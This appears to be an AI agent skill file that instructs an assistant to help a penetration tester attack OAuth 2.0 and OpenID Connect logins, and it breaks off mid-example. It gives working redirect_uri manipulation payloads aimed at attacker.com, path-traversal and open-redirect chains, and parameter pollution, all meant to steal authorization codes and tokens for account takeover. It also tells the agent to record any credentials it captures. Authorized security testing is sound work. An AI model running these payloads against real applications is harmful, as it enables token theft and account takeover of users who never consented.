/oauth-attacks

name: oauth-attacks
description: >
  Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized
  penetration testing.
keywords:
  - oauth
  - oauth attack
  - oauth bypass
  - openid connect
  - oidc attack
  - social login bypass
  - redirect uri bypass
  - oauth token theft
  - authorization code theft
  - oauth misconfiguration
  - sso bypass
  - login with google
  - login with facebook
  - oauth account takeover
  - pkce bypass
  - oauth state bypass
  - oauth scope escalation
tools:
  - burpsuite
  - jwt_tool
  - curl
opsec: low

OAuth 2.0 / OpenID Connect Attacks

You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[oauth-attacks] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

OAuth flows are multi-step browser interactions — **browser tools are the natural fit** for testing these flows end-to-end.

• **`browser_open`** for authorization endpoints — initiates the OAuth flow
• **`browser_fill`** / **`browser_click`** for consent screens, login prompts,

and permission dialogs

• **`browser_cookies`** to extract tokens from redirect chains and inspect

session state after OAuth completion

• **`browser_evaluate`** to inspect URL fragments for implicit grant tokens

(e.g., `window.location.hash`), extract authorization codes from redirects

• **curl** for direct token endpoint requests, testing `redirect_uri`

manipulation, and code/token exchange

Prerequisites

• An application using OAuth 2.0 or OpenID Connect for authentication
• Burp Suite (to intercept and modify OAuth redirects)
• A domain you control for redirect URI testing
• A test account on the application (to capture legitimate OAuth flows)

Step 1: Assess

Map the OAuth implementation by capturing a complete flow.

Identify OAuth Endpoints

# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .

# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me

Capture the Authorization Request

Intercept the login flow in Burp and note:

GET /authorize?
  client_id=APP_CLIENT_ID&
  response_type=code&           # or token, id_token
  redirect_uri=https://app.com/callback&
  scope=openid+email+profile&
  state=RANDOM_STATE&
  nonce=RANDOM_NONCE&           # OIDC only
  code_challenge=CHALLENGE&     # PKCE
  code_challenge_method=S256    # PKCE

Key parameters to note:

• **response_type**: `code` (auth code), `token` (implicit), `id_token` (OIDC)
• **redirect_uri**: the callback URL
• **state**: CSRF protection for OAuth flow
• **scope**: requested permissions
• **PKCE parameters**: code_challenge and method

Identify the Grant Type

| Grant Type | Flow | Attack Surface | |-----------|------|---------------| | Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass | | Implicit | Browser redirect → token in fragment | Token exposure, no code exchange | | PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier | | Client Credentials | Server-to-server, no user | Secret leakage | | Password (ROPC) | Direct username/password → token | 2FA bypass |

Step 2: Redirect URI Manipulation

The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.

Basic Redirect to Attacker Domain

# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback

# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback

# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback

Path Traversal

# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker

Open Redirect Chain

If the app has an open redirect, use it to relay the code:

# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com

The IdP validates `app.com`, the app redirects to `attacker.com` with the code still in the URL.

Parameter Pollution

# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://